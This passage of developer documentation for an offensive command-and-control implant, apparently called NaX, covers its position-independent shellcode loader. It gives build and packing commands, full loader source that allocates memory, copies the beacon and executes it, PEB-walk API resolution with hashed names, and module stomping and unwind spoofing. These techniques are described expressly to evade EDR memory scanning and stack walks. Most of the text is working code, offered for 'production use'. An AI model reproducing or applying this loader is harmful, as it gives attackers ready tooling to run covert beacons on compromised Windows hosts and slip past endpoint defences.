build/nax.x64.bin +``` + +For the simplest path (no module stomping flags): + +```bash +mkdir -p build +python3 scripts/pack_nax.py \ + --loader src_loader/bin/nax_loader.x64.bin \ + --beacon src_beacon/build/http/beacon.x64.bin \ + --pdata src_beacon/build/http/beacon.pdata.bin \ + --xdata src_beacon/build/http/beacon.xdata.bin \ + --text-rva src_beacon/build/http/beacon.text_rva \ + --output build/nax.x64.bin +``` + +Without `--module-stomp` and `--stomp-pdata`, the header flags field is 0x0000. The loader ignores .pdata/.xdata and just allocates + copies + executes. + +The final binary layout: + +``` +build/nax.x64.bin + [ LOADER shellcode ][ NaxHeader v2 (160 bytes) ][ BEACON shellcode ][ .pdata ][ .xdata ] +``` + +### Step 4: Run on Target + +Transfer `build/nax.x64.bin` and `stomper.exe` to a Windows x64 target. + +**Compile the test launcher** (one-time, on the Linux build box): + +```bash +x86_64-w64-mingw32-gcc src_loader/scripts/stomper.c -o build/stomper.exe -lkernel32 +``` + +**On the Windows target:** + +``` +stomper.exe nax.x64.bin +``` + +Output: + +``` +[*] loaded "nax.x64.bin" (87432 bytes) +[*] shellcode @ 0x000001A23F4C0000 RX +[*] press enter to execute... +``` + +The launcher: +1. Reads the file into a `PAGE_READWRITE` buffer +2. Flips to `PAGE_EXECUTE_READ` +3. Waits for Enter (attach a debugger here if needed) +4. `CreateThread` into the buffer at offset 0 (the loader's `Start` label) +5. `WaitForSingleObject(INFINITE)` - the process stays alive while the beacon runs + +The loader takes over from here: it resolves APIs from the PEB, finds the NaxHeader at the end of its own code, reads the beacon size, allocates fresh RW memory, copies the beacon, flips to RX, and starts execution. + +### What Happens at Runtime + +Here is the full execution chain for the simplest path (VirtualAlloc + CreateThread): + +``` +stomper.exe + └─ CreateThread → buf[0] + │ + ▼ + Entry.asm (Start) .text$A - loader base + │ push rsi; align stack; call PreMain + ▼ + PreMain.c .text$B + │ PEB walk → ntdll, kernel32 + │ Resolve RtlAllocateHeap, TlsAlloc/Set/Free + │ TLS egghunter → consecutive slot pair + │ Heap-allocate INSTANCE, store in TLS + │ call Main() + ▼ + Main.c .text$B + │ STARDUST_INSTANCE (retrieve from TLS) + │ Resolve: NtAllocateVirtualMemory, VirtualProtect, CreateThread + │ hdr = LOADER_END() (= loader base + loader size) + │ Validate magic == 0x4E415832 + │ beacon_src = hdr + 160 + │ beacon_size = HDR_U32(hdr, 4) + │ + │ NaxAllocExec(beacon_src, beacon_size): + │ NtAllocateVirtualMemory(RW, page-aligned) + │ MmCopy(exec_buf, beacon_src, beacon_size) + │ VirtualProtect(exec_buf, RX) + │ return exec_buf + │ + │ NaxExecThread(exec_buf): + │ CreateThread(exec_buf) + ▼ + Beacon NaxMain() runs in fresh RX private memory + │ Resolves its own APIs (NaxGetModule + NaxGetProc) + │ Initializes NAX_INSTANCE, parses C2 config + │ Enters heartbeat loop (GET → sleep → POST results) + └─ ... +``` + +### Build Shortcuts + +The top-level Makefile wraps all three steps into a single command: + +```bash +# Simplest path: VirtualAlloc + CreateThread, no stomping +make clean && make NAX_STOMP_MODE=0 NAX_EXEC_MODE=0 + +# Module stomp + thread pool (production defaults) +make clean && make MODULE_STOMP=1 + +# Module stomp + .pdata unwind stomping + custom DLL +make clean && make MODULE_STOMP=1 STOMP_PDATA=1 STOMP_DLL=mshtml.dll + +# Debug build (beacon has console output) +make clean && make debug NAX_STOMP_MODE=0 NAX_EXEC_MODE=0 + +# Incremental rebuild (only recompile Config.c + re-link + re-pack) +make link +make debug-link +``` + +All output goes to `build/nax.x64.bin` (release) or `build/nax.x64.debug.bin` (debug). + +### Using Stock Stardust as a Loader (Minimal PoC) + +If you want to skip the full NaX loader and just get the NaX beacon executing from the stock [Stardust](https://github.com/5pider/Stardust) template, you only need to modify two files: `include/Common.h` (add API declarations) and `src/Main.c` (replace MessageBox with alloc-copy-protect-run). Everything else - Entry.asm, PreMain.c, Ldr.c, the linker script, the makefile - stays untouched. + +This PoC uses the stock Stardust global-section INSTANCE (not TLS), the stock `build.py` packer, and appends the raw beacon bytes after the loader. No NaxHeader, no module stomping, no thread pool - just the absolute minimum to prove the beacon runs. + +#### Step 1: Build the beacon only + +```bash +cd +make beacon +``` + +This produces `src_beacon/build/http/beacon.x64.bin` - the raw beacon `.text` shellcode. + +#### Step 2: Modify `include/Common.h` + +Replace the INSTANCE struct to declare the APIs needed for alloc + protect + execute: + +```c +#ifndef STARDUST_COMMON_H +#define STARDUST_COMMON_H + +#include +#include +#include +#include +#include +#include + +EXTERN_C ULONG __Instance_offset; +EXTERN_C PVOID __Instance; + +typedef struct _INSTANCE { + + BUFFER Base; + + struct { + D_API( RtlAllocateHeap ) + D_API( NtProtectVirtualMemory ) + D_API( NtAllocateVirtualMemory ) + D_API( VirtualProtect ) + D_API( CreateThread ) + } Win32; + + struct { + PVOID Ntdll; + PVOID Kernel32; + } Modules; + +} INSTANCE, *PINSTANCE; + +EXTERN_C PVOID StRipStart(); +EXTERN_C PVOID StRipEnd(); + +VOID Main( _In_ PVOID Param ); + +#endif +``` + +Changes from stock: removed `LoadLibraryW`, `MessageBoxW`, `User32` module. Added `NtAllocateVirtualMemory`, `VirtualProtect`, `CreateThread`. + +#### Step 3: Replace `src/Main.c` + +This is the entire Main.c - alloc RW, copy beacon, flip to RX, CreateThread: + +```c +#include +#include + +FUNC VOID Main( + _In_ PVOID Param +) { + STARDUST_INSTANCE + + /* ========= [ resolve modules ] ========= */ + if ( !( Instance()->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) + return; + if ( !( Instance()->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) + return; + + /* ========= [ resolve APIs ] ========= */ + if ( !( Instance()->Win32.NtAllocateVirtualMemory = + LdrFunction( Instance()->Modules.Ntdll, HASH_STR( "NtAllocateVirtualMemory" ) ) ) ) + return; + if ( !( Instance()->Win32.VirtualProtect = + LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "VirtualProtect" ) ) ) ) + return; + if ( !( Instance()->Win32.CreateThread = + LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "CreateThread" ) ) ) ) + return; + + /* ========= [ locate beacon bytes appended after loader ] ========= */ + + /* + * Memory layout after packing: + * [ LOADER shellcode ][ beacon_size (4 bytes) ][ BEACON shellcode ] + * + * IMPORTANT: Do NOT call StRipEnd() here. PreMain.c zeros .text$E + * (the section containing StRipEnd code) as an anti-fingerprint + * measure. Calling StRipEnd() after PreMain returns will execute + * zeroed memory and crash. + * + * Instead, use Base.Buffer + Base.Length - PreMain saved these + * values before zeroing .text$E. + */ + PVOID after_loader = C_PTR( U_PTR( Instance()->Base.Buffer ) + Instance()->Base.Length ); + ULONG beacon_size = C_DEF32( after_loader ); + PVOID beacon_src = C_PTR( U_PTR( after_loader ) + sizeof( UINT32 ) ); + + if ( !beacon_size || beacon_size > 512 * 1024 ) + return; + + /* ========= [ alloc RW ] ========= */ + PVOID exec_buf = NULL; + SIZE_T alloc_size = ( (SIZE_T)beacon_size + 0xFFFu ) & ~(SIZE_T)0xFFFu; + ULONG old_prot = 0; + + if ( !NT_SUCCESS( Instance()->Win32.NtAllocateVirtualMemory( + NtCurrentProcess(), &exec_buf, 0, &alloc_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) ) + return; + + /* ========= [ copy beacon ] ========= */ + MmCopy( exec_buf, beacon_src, beacon_size ); + + /* ========= [ flip to RX ] ========= */ + if ( !Instance()->Win32.VirtualProtect( + exec_buf, alloc_size, PAGE_EXECUTE_READ, &old_prot ) ) + return; + + /* ========= [ execute ] ========= */ + Instance()->Win32.CreateThread( NULL, 0, + (LPTHREAD_START_ROUTINE)exec_buf, NULL, 0, NULL ); +} +``` + +That's it. No NaxHeader parsing, no module stomping, no thread pool - the simplest possible alloc-copy-protect-run. + +#### Step 4: Build the Stardust loader + +```bash +cd /path/to/Stardust +make +``` + +This produces `bin/stardust.x64.bin` - the loader shellcode (page-padded by `build.py`). + +#### Step 5: Pack loader + beacon + +Use `pack_nax.py` with the `--legacy` flag. This produces the v1 format (4-byte beacon_size header instead of NaxHeader v2) that the stock Stardust `Main.c` expects. The script automatically strips the page-padding that `build.py` adds to the loader, then re-aligns to 16 bytes so the beacon_size field lands exactly where `Base.Length` points. + +```bash +python3 scripts/pack_nax.py \ + --loader /path/to/Stardust/bin/stardust.x64.bin \ + --beacon src_beacon/build/http/beacon.x64.bin \ + --output poc_nax.bin \ + --legacy +``` + +> **Why `--legacy`?** The stock Stardust `Main.c` reads a plain `UINT32` beacon_size at `after_loader`, not the 160-byte NaxHeader v2. The `--legacy` flag tells the packer to emit the v1 format: `[ loader ][ 4-byte size ][ beacon ]`. +> +> **Why padding stripping matters:** Stock Stardust's `build.py` pads the extracted shellcode to page boundaries (e.g. 8192 bytes), but `Base.Length` is computed from `StRipEnd() - StRipStart()` before the padding (e.g. 4128 bytes). If you append the beacon at the padded file end, the loader reads zeros at offset 4128 instead of the beacon_size - giving "Invalid beacon size: 0". The packer strips trailing zeros and re-pads to 16-byte alignment (NASM section default) so the data lands where the loader expects it. + +#### Step 6: Run on target + +Use any shellcode runner. The simplest - compile `stomper.c` from the NaX repo: + +```bash +x86_64-w64-mingw32-gcc \ + src_loader/scripts/stomper.c \ + -o stomper.exe -lkernel32 +``` + +On the Windows target: + +``` +stomper.exe poc_nax.bin +``` + +The flow: `stomper.exe` → `CreateThread` → Stardust `Start` → `PreMain` (PEB walk, `.global` INSTANCE) → `Main` (resolve APIs, read beacon size at `Base.Buffer + Base.Length`, alloc RW, copy, RX, `CreateThread`) → NaX beacon `NaxMain()` starts heartbeat loop. + +#### What this PoC does NOT have + +| Missing | Why it matters | NaX loader has it | +|---------|---------------|-------------------| +| NaxHeader v2 | No stomp-DLL name, no flags, no .pdata/.xdata offsets | Yes (160-byte header) | +| Module stomping | Beacon runs from PRV memory (EDR-visible) | Yes (image-backed) | +| Thread pool execution | Beacon thread start addr = beacon entry (scannable) | Yes (TppWorkerThread) | +| TLS INSTANCE storage | Uses `.global` section + `NtProtectVirtualMemory` to write (OPSEC risk) | Yes (TLS egghunter) | +| .pdata/.xdata unwind | Stack walks produce garbage frames | Yes (unwind stomping) | +| Padding removal | Wastes up to 4KB per page-aligned loader | Yes (objcopy, no padding) | + +This is intentionally the bare minimum. Once the PoC works, upgrade to the full NaX loader path for production use. + +--- + +## What is Stardust? + +[Stardust](https://5pider.net/blog/2024/01/27/modern-shellcode-implant-design/) is a position-independent code (PIC) framework created by Paul Ungur (5pider). It provides the foundational template that the ZeroPoint Security UDRL course builds on. The core idea: + +1. Compile C code into a PE with a single `.text` section - no imports, no CRT, no relocations. +2. Extract that `.text` section as raw bytes. The result is position-independent shellcode. +3. At runtime, the shellcode resolves everything it needs from the PEB (Process Environment Block) and has no dependencies on the host process. + +NaX's loader (`src_loader/`) is a direct implementation of this pattern, extended with NaxHeader parsing, module stomping, and thread pool execution transfer. + +## Memory Layout at Runtime + +When the combined `nax.x64.bin` payload executes, the on-disk layout maps directly to memory: + +``` + nax.x64.bin (on disk / in memory after initial load) + +=====================================================================+ + | | + | [ LOADER ][ NAX HEADER v2 ][ BEACON ][ .pdata ][ .xdata ] | + | ^ ^ ^ ^ ^ | + | | | | | | | + | StRipStart LOADER_END() +HDR_SZ +beacon +pdata | + | (Base.Buffer) | + | | + +=====================================================================+ + + Loader size = StRipEnd() - StRipStart() = Base.Length + Header ptr = StRipStart() + Base.Length = LOADER_END() + Beacon ptr = LOADER_END() + NAX_HDR_SIZE (160 bytes) + Pdata ptr = beacon_ptr + beacon_size + Xdata ptr = pdata_ptr + pdata_size +``` + +The loader never modifies this initial blob. It reads from it to find the beacon bytes, then copies the beacon into its final execution location (VirtualAlloc buffer or stomped DLL `.text` section). + +## Source Tree + +``` +src_loader/ + asm/x64/ + Stardust.asm # PIC entry point (.text$A) and end marker (.text$E) + include/ + Common.h # INSTANCE struct, D_API macro, forward declarations + Constexpr.h # Compile-time hashing (HASH_STR / ExprHashStringA) + Defs.h # BUFFER typedef, hash constants, NaxHeader v2 defines, + # technique selection constants (NAX_STOMP_*, NAX_EXEC_*) + Ldr.h # LdrModulePeb / LdrFunction declarations + Loader.h # NaxPeHeaders, NaxFindSection, NaxModuleStomp, NaxExec* decls + Macros.h # D_API, D_SEC, FUNC, casting macros, MmCopy/MmZero, + # STARDUST_INSTANCE, MOD/API/RESOLVE, HDR_*, LOADER_END + Native.h # ntdll structures (PEB, TEB, LDR_DATA_TABLE_ENTRY, etc.) + Utils.h # HashString declaration + src/ + PreMain.c # First C code: PEB walk, TLS egghunter, INSTANCE allocation + Main.c # API resolution, NaxHeader parsing, technique dispatch + Ldr.c # LdrModulePeb (PEB walk), LdrFunction (export walk + forwarding) + Pe.c # PE header helpers: NaxPeHeaders, NaxFindSection, NaxFindSectionByDir + Stomp.c # Module stomping: NaxModuleStomp, NaxPatchLdr + Exec.c # Execution transfer: NaxExecThreadPool, NaxExecThread + Utils.c # HashString (FNV1a, case-insensitive) + scripts/ + Linker.ld # Linker script for section ordering + build.py # Original Stardust extractor (not used - objcopy replaces it) + loader.c # Dev launcher: load shellcode into RWX, execute + stomper.c # Dev launcher: load nax.bin, RX, CreateThread + Makefile # Build the loader .bin +``` + +## Section Ordering and the Linker Script + +PIC shellcode has no loader (ironic) to fix up sections at runtime. Everything must live in a single flat `.text` section. The linker script (`scripts/Linker.ld`) merges all compiler output into one section with a specific order: + +``` +SECTIONS { + .text : { + *( .text$A ); # ASM entry stubs (Start, StRipStart) + *( .text$B ); # All C code (PreMain, Main, Ldr, Pe, Stomp, Exec, Utils) + *( .rdata* ); # Read-only data (WCHAR array initializers lifted by -Os) + *( .data* ); # Writable data (compound initializer copies) + *( .text$E ); # ASM end marker (StRipEnd) + } +} +``` + +The MSVC/MinGW convention sorts sections alphabetically within a group, so `$A` comes before `$B` comes before `$E`. The `D_SEC(x)` and `FUNC` macros in `Macros.h` place all C functions into `.text$B`: + +```c +#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) ) +#define FUNC D_SEC( B ) +``` + +Why `.rdata` and `.data` inside `.text`? The `-Os` optimization level can lift local `WCHAR` array initializers into `.rdata` or `.data`. Without this merging, those bytes would end up in separate PE sections that get discarded by `objcopy --dump-section .text`. With them merged into `.text`, the loader's RIP-relative references to those initializers still work in the extracted shellcode. + +Why `.text$E` must be last? `StRipEnd()` returns its own address plus the size of `.text$E` (16 bytes). That address must be one byte past the end of the loader - it is the start of the NaxHeader. If any section comes after `.text$E`, the calculation is wrong and the header parse reads garbage. + +## Execution Flow + +### Stage 0: Entry.asm + +`Stardust.asm` lives in `.text$A` - it is the first code in the shellcode blob. + +```nasm +;; .text$A +Start: + push rsi ; save non-volatile register + mov rsi, rsp ; save original stack pointer + and rsp, 0FFFFFFFFFFFFFFF0h ; 16-byte align the stack + sub rsp, 020h ; shadow space (Win64 ABI) + call PreMain ; transfer to C + mov rsp, rsi ; restore stack + pop rsi ; restore register + ret ; return to caller (shellcode runner) +``` + +The entry point saves registers, aligns the stack for the Win64 calling convention, calls `PreMain`, then restores everything and returns. This is the entire lifecycle of the loader - when `PreMain` (and everything it calls) returns, the shellcode is done and control goes back to whatever executed the shellcode. + +**StRipStart()** returns the address of `Start` itself - the base address of the loader blob in memory. It works by reading the return address pushed by `call StRipPtrStart` and subtracting a fixed offset (0x1b = 27 bytes, the distance from `Start` to that return address). + +**StRipEnd()** lives in `.text$E` and returns the address one past its own last byte - the first byte after the loader. Same RIP-relative trick: read the return address, add the known size of `.text$E` (16 bytes, padded with an explicit `nop` to avoid alignment gaps). + +### Stage 1: PreMain.c + +PreMain is the first C function called. It sets up the INSTANCE (global state container) and stores it in TLS. + +``` +PreMain flow: + 1. Zero a stack-local INSTANCE struct + 2. Record loader base: Base.Buffer = StRipStart() + 3. Record loader size: Base.Length = StRipEnd() - StRipStart() + 4. PEB walk: resolve ntdll.dll base address + 5. Resolve ntdll!RtlAllocateHeap + 6. PEB walk: resolve kernel32.dll base address + 7. Resolve kernel32!TlsAlloc, TlsSetValue, TlsFree + 8. TLS egghunter: allocate consecutive slot pair (see below) + 9. Heap-allocate INSTANCE: RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, sizeof(INSTANCE)) + 10. Store NtCurrentPeb() in slot N (the "egg") + 11. Store INSTANCE pointer in slot N+1 + 12. Copy stack-local INSTANCE into heap allocation + 13. Zero the stack-local copy (prevent leak) + 14. Call Main(Param) +``` + +Every API call in PreMain is resolved on the spot from the PEB - there is no existing INSTANCE to read from yet. After PreMain finishes, all subsequent code uses the `STARDUST_INSTANCE` macro to retrieve the heap-allocated INSTANCE from TLS. + +### Stage 2: Main.c + +Main resolves technique-specific APIs, parses the NaxHeader, and dispatches to the appropriate execution path. + +``` +Main flow: + 1. STARDUST_INSTANCE - retrieve INSTANCE from TLS + 2. Re-resolve kernel32 + ntdll module handles (store in INSTANCE) + 3. Resolve shared APIs: NtProtectVirtualMemory, VirtualProtect + 4. Resolve technique-specific APIs (compile-time selected): + - STOMP_VIRTUAL: NtAllocateVirtualMemory + - STOMP_MODULE: LoadLibraryExW + - EXEC_THREAD: CreateThread + - EXEC_THREADPOOL: TpAllocWork, TpPostWork, TpReleaseWork + 5. Locate NaxHeader: hdr = LOADER_END() + 6. Read magic field; validate against NAX_HDR_MAGIC (0x4E415832) + 7. Parse beacon_size, pdata_size, xdata_size, text_rva, dll_name + 8. Compute beacon_src = hdr + NAX_HDR_SIZE (160) + 9. Dispatch: + - STOMP_MODULE: NaxModuleStomp(hdr, beacon_src, ..., dll_name) + - STOMP_VIRTUAL: NaxAllocExec(beacon_src, beacon_size) + 10. Transfer execution: + - EXEC_THREADPOOL: NaxExecThreadPool(entry) + - EXEC_THREAD: NaxExecThread(entry) +``` + +## The INSTANCE Struct + +The INSTANCE is the loader's equivalent of global variables - a heap-allocated struct containing all resolved API function pointers and module handles. + +```c +typedef struct _INSTANCE { + BUFFER Base; // { Buffer = StRipStart(), Length = loader size } + + struct { + // ntdll + D_API( RtlAllocateHeap ) + D_API( NtProtectVirtualMemory ) + D_API( VirtualProtect ) + + // kernel32 (TLS management) + D_API( TlsAlloc ) + D_API( TlsSetValue ) + D_API( TlsFree ) + + // Conditional on NAX_STOMP_MODE / NAX_EXEC_MODE: + D_API( NtAllocateVirtualMemory ) // STOMP_VIRTUAL only + D_API( LoadLibraryExW ) // STOMP_MODULE only + D_API( TpAllocWork ) // EXEC_THREADPOOL only + D_API( TpPostWork ) // EXEC_THREADPOOL only + D_API( TpReleaseWork ) // EXEC_THREADPOOL only + D_API( CreateThread ) // EXEC_THREAD only + } Win32; + + struct { + PVOID Ntdll; + PVOID Kernel32; + } Modules; +} INSTANCE; +``` + +`D_API(x)` expands to `__typeof__(x) * x;` - a type-safe function pointer declaration that matches the exact signature of the Win32 API. No manual signature typing needed. + +### Why TLS Instead of a Global Section + +The original Stardust template stores the INSTANCE pointer in a `.global` section within the shellcode blob itself. This works, but writing to the loader's own memory requires calling `NtProtectVirtualMemory` to flip the page from RX to RW and back - an extra syscall that: + +1. Is an OPSEC risk (EDRs hook `NtProtectVirtualMemory` and flag RX-to-RW transitions on executable regions). +2. Is unnecessary - TLS slots are already writable and accessible from any thread without any protection changes. + +NaX uses TLS instead: the INSTANCE pointer lives in the TEB's TlsSlots array, which is per-thread, always writable, and requires no protection changes. + +### The Egghunter Pattern + +The problem: how does code that runs on a different thread (the beacon, running on the thread pool) find the INSTANCE pointer? It cannot use `TlsGetValue` because that would require knowing the slot index, which would mean storing the index somewhere... which is the same problem. + +Solution: store a known "egg" value in slot N, and the INSTANCE pointer in slot N+1. The egg is `NtCurrentPeb()` - a value that is unique per process, stable, and readable without any API calls (it comes directly from the TEB's `ProcessEnvironmentBlock` field). + +To find the INSTANCE, any code on any thread can walk `TlsSlots[0..63]` looking for an entry that matches `NtCurrentPeb()`, then read the next slot. + +The allocation in PreMain: + +```c +#define TLS_SEARCH_LIMIT 20 + +DWORD slots[TLS_SEARCH_LIMIT] = { 0 }; +UINT32 slotCount = 0; +DWORD eggSlot = TLS_OUT_OF_INDEXES; +DWORD instSlot = TLS_OUT_OF_INDEXES; + +for ( UINT32 i = 0; i < TLS_SEARCH_LIMIT; i++ ) { + slots[i] = TlsAlloc(); + if ( slots[i] == TLS_OUT_OF_INDEXES ) break; + slotCount++; + + if ( i > 0 && slots[i] == slots[i - 1] + 1 ) { + eggSlot = slots[i - 1]; // consecutive pair found + instSlot = slots[i]; + break; + } +} + +// Free non-consecutive slots allocated during the search +for ( UINT32 i = 0; i < slotCount; i++ ) { + if ( slots[i] != eggSlot && slots[i] != instSlot ) + TlsFree( slots[i] ); +} + +TlsSetValue( eggSlot, (LPVOID)NtCurrentPeb() ); // the egg +TlsSetValue( instSlot, Inst ); // INSTANCE pointer +``` + +Why consecutive? The retrieval code walks the TlsSlots array (a raw array in the TEB) looking for the PEB pointer. It reads `TlsSlots[i+1]` to get the INSTANCE. If the slots were not consecutive, `i+1` would point to some other thread's TLS data. + +### STARDUST_INSTANCE Retrieval + +Every function that needs the INSTANCE starts with: + +```c +STARDUST_INSTANCE +``` + +This expands to: + +```c +PINSTANCE __LocalInstance = InstancePtr(); +``` + +Which calls `__TlsFindInstance()`: + +```c +static __inline__ PVOID __TlsFindInstance( void ) { + PVOID peb = C_PTR( NtCurrentPeb() ); + PTEB teb = NtCurrentTeb(); + for ( UINT32 i = 0; i < 63; i++ ) { + if ( teb->TlsSlots[i] == peb ) + return teb->TlsSlots[i + 1]; + } + return C_PTR( 0 ); +} +``` + +No API calls. No hash lookups. Just a linear scan of 63 TLS slots per invocation. The `Instance()` macro then casts the result to `PINSTANCE` for field access. + +## API Resolution + +### LdrModulePeb -- PEB Walk + +`LdrModulePeb(hash)` finds a loaded DLL by hashing each module name in the PEB's `InLoadOrderModuleList` and comparing against the target hash. + +```c +FUNC PVOID LdrModulePeb( ULONG Hash ) { + PLDR_DATA_TABLE_ENTRY Data = { 0 }; + PLIST_ENTRY Head = { 0 }; + PLIST_ENTRY Entry = { 0 }; + + Head = &NtCurrentPeb()->Ldr->InLoadOrderModuleList; + Entry = Head->Flink; + + for ( ; Head != Entry; Entry = Entry->Flink ) { + Data = C_PTR( Entry ); + if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) + return Data->DllBase; + } + return NULL; +} +``` + +`NtCurrentPeb()` reads the PEB pointer directly from the TEB (Thread Environment Block) via `gs:[0x60]` on x64. No API call needed. The `Ldr` field points to `PEB_LDR_DATA`, which contains the doubly-linked list of loaded modules. + +Pre-computed module hashes in `Defs.h`: + +```c +#define H_MODULE_NTDLL 0x318a7963 +#define H_MODULE_KERNEL32 0x04a1a06a +``` + +### LdrFunction -- Export Table Walk + +`LdrFunction(module, hash)` walks a DLL's PE export directory to find a function by its name hash. + +``` +LdrFunction flow: + 1. Validate module base + parse DOS/NT headers + 2. Locate IMAGE_EXPORT_DIRECTORY from DataDirectory[0] + 3. Iterate AddressOfNames: + a. Hash each exported function name + b. Compare against target hash + 4. On match: resolve via AddressOfNameOrdinals -> AddressOfFunctions + 5. Check if address falls within the export directory (= forwarded export) + - Yes: call LdrpFwdResolve() to follow the forwarding chain + - No: return the address directly +``` + +### Forwarded Exports + +Windows DLLs frequently forward exports to other DLLs. For example, `kernel32!VirtualAlloc` may forward to `KERNELBASE!VirtualAlloc`. If the resolved address falls within the export directory's address range, it points to a forwarding string like `"KERNELBASE.VirtualAlloc"`. + +`LdrpFwdResolve()` handles this: + +1. Split the forwarding string at the `.` separator +2. Build a wide-string DLL name (`KERNELBASE.dll`) +3. Hash it and call `LdrModulePeb()` to find the target module +4. Recurse into `LdrFunction()` with the target module and function name hash + +Ordinal forwarding (`"Module.#42"`) is not implemented - returns NULL. + +### Compile-Time Hashing + +The hash function is FNV1a (seed 0x811c9dc5, prime 0x01000193), case-insensitive (uppercased before hashing). The compile-time version in `Constexpr.h` is evaluated at compile time when used with string literals: + +```c +#define HASH_STR( x ) ExprHashStringA( ( x ) ) + +CONSTEXPR ULONG ExprHashStringA( PCHAR String ) { + ULONG Hash = H_MAGIC_KEY; // 0x811c9dc5 + CHAR Char = { 0 }; + + while ( ( Char = *String++ ) ) { + if ( Char >= 'a' ) Char -= 0x20; + Hash ^= (UCHAR)Char; + Hash *= H_MAGIC_PRIME; // 0x01000193 + } + return Hash; +} +``` + +The C files are compiled as C++ (`x86_64-w64-mingw32-g++`) specifically to enable `constexpr` evaluation. This means `HASH_STR("VirtualProtect")` becomes a constant `0x...` in the compiled binary - no API name strings appear anywhere in the shellcode. + +The runtime `HashString()` in `Utils.c` uses the same FNV1a algorithm but also handles wide strings (when `Length > 0`, it iterates byte-by-byte including null bytes between WCHAR halves - this matches how PEB module names are stored as `UNICODE_STRING`). + +### D_API / RESOLVE Macros + +Adding a new API to the loader requires two steps: + +1. **Declare** in the INSTANCE struct: + ```c + D_API( NewFunction ); // expands to: __typeof__(NewFunction) * NewFunction; + ``` + +2. **Resolve** in Main.c: + ```c + RESOLVE( NewFunction, Kernel32 ); + // expands to: + // API(NewFunction) = (__typeof__(NewFunction)*)LdrFunction(MOD(Kernel32), HASH_STR("NewFunction")) + ``` + +The convenience macros: + +```c +#define MOD( x ) Instance()->Modules.x +#define API( x ) Instance()->Win32.x +#define RESOLVE( x, y ) ( API(x) = (__typeof__(x)*)LdrFunction( MOD(y), HASH_STR(#x) ) ) +``` + +## NaxHeader v2 + +### Header Layout + +The NaxHeader sits between the loader shellcode and the beacon bytes in the combined binary. It is 160 bytes, accessed via pointer arithmetic (no struct, because PIC code should avoid struct layout assumptions across compilation units). + +``` +Offset Size Field Description +------ ----- -------------- ------------------------------------------- +0x00 4 Magic 0x4E415832 ("NAX2") +0x04 4 BeaconSize Beacon .text size in bytes +0x08 4 PdataSize .pdata section size (0 = none) +0x0C 4 XdataSize .xdata section size (0 = none) +0x10 4 OrigTextRva Beacon's original .text RVA (for unwind fixup) +0x14 4 Flags Bitfield: 0x01 = MODULE_STOMP, 0x02 = STOMP_PDATA +0x18 128 StompDll WCHAR[64], NUL-terminated, zero-padded +0x98 8 Reserved Must be zero +------ ----- ---------- ------------------------------------------- +Total: 160 bytes (0xA0) +``` + +Access macros: + +```c +#define HDR_U32( h, off ) C_DEF32( C_PTR( U_PTR(h) + (off) ) ) +#define HDR_WSTR( h, off ) W_PTR( U_PTR(h) + (off) ) +``` + +Field offset constants from `Defs.h`: + +```c +#define NAX_HDR_OFF_MAGIC 0 +#define NAX_HDR_OFF_BEACON_SZ 4 +#define NAX_HDR_OFF_PDATA_SZ 8 +#define NAX_HDR_OFF_XDATA_SZ 12 +#define NAX_HDR_OFF_TEXT_RVA 16 +#define NAX_HDR_OFF_FLAGS 20 +#define NAX_HDR_OFF_DLL_NAME 24 +#define NAX_HDR_OFF_RESERVED 152 +``` + +### Locating the Header + +The header starts immediately after the loader's `.text` section: + +```c +#define LOADER_END() C_PTR( U_PTR(Instance()->Base.Buffer) + Instance()->Base.Length ) +``` + +`Base.Buffer` = `StRipStart()` (loader base), `Base.Length` = `StRipEnd() - StRipStart()` (loader size). So `LOADER_END()` = `StRipEnd()` = one byte past the loader = first byte of the NaxHeader. + +### v1 Fallback + +If the first 4 bytes at `LOADER_END()` do not match `NAX_HDR_MAGIC`, the loader treats them as a legacy v1 header: a single `UINT32` containing the beacon size, followed immediately by the beacon bytes. This allows the loader to work with both old and new beacon packing formats. + +```c +if ( magic != NAX_HDR_MAGIC ) { + beacon_size = magic; // reinterpret as size + beacon_src = C_PTR( U_PTR(hdr) + 4 ); // beacon starts after 4-byte header + // ... allocate + execute (no stomp, no pdata) +} +``` + +## Technique Dispatch + +### VirtualAlloc Path + +When `NAX_STOMP_MODE=0` (compile-time), the loader uses `NtAllocateVirtualMemory` to allocate private memory: + +```c +FUNC PVOID NaxAllocExec( PVOID BeaconSrc, ULONG BeaconSize ) { + STARDUST_INSTANCE + + PVOID exec_buf = NULL; + SIZE_T copy_size = ((SIZE_T)BeaconSize + 0xFFFu) & ~(SIZE_T)0xFFFu; // page-align + ULONG old_prot = 0; + + // 1. Allocate RW pages + NtAllocateVirtualMemory( NtCurrentProcess(), &exec_buf, 0, + ©_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); + + // 2. Copy beacon + MmCopy( exec_buf, BeaconSrc, BeaconSize ); + + // 3. Flip to RX + VirtualProtect( exec_buf, copy_size, PAGE_EXECUTE_READ, &old_prot ); + + return exec_buf; +} +``` + +This is the simplest path - good for development and testing. The allocated memory is private (PRV type, backed by pagefile), which EDRs flag as suspicious. + +### Module Stomp Path + +When `NAX_STOMP_MODE=1` (default), the loader stomps the beacon into a sacrificial DLL's `.text` section: + +``` +NaxModuleStomp flow: + 1. LoadLibraryExW(DllName, NULL, DONT_RESOLVE_DLL_REFERENCES) + - Loads the DLL without calling DllMain or resolving imports + 2. NaxPatchLdr(DllBase) + - Walk PEB LDR list, find the new module entry + - Set EntryPoint, add LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED flags + - Makes the module look like a normally loaded DLL + 3. NaxPeHeaders(DllBase) + NaxFindSection(Nt, CODE | EXECUTE) + - Parse the DLL's PE headers, find its .text section + - Verify .text is large enough: SizeOfRawData >= BeaconSize + 4. VirtualProtect(.text, PAGE_READWRITE) + 5. MmCopy(TextBase, BeaconSrc, BeaconSize) + 6. VirtualProtect(.text, PAGE_EXECUTE_READ) + 7. (Optional) Stomp .pdata/.xdata for clean stack walks + 8. Return TextBase as the beacon entry point +``` + +The beacon now runs from image-backed (IMG) memory. Memory scanners see a loaded DLL with executable code, not a suspicious private allocation. + +See the [Module Stomping](Module-Stomping) page for DLL selection guidance and advanced 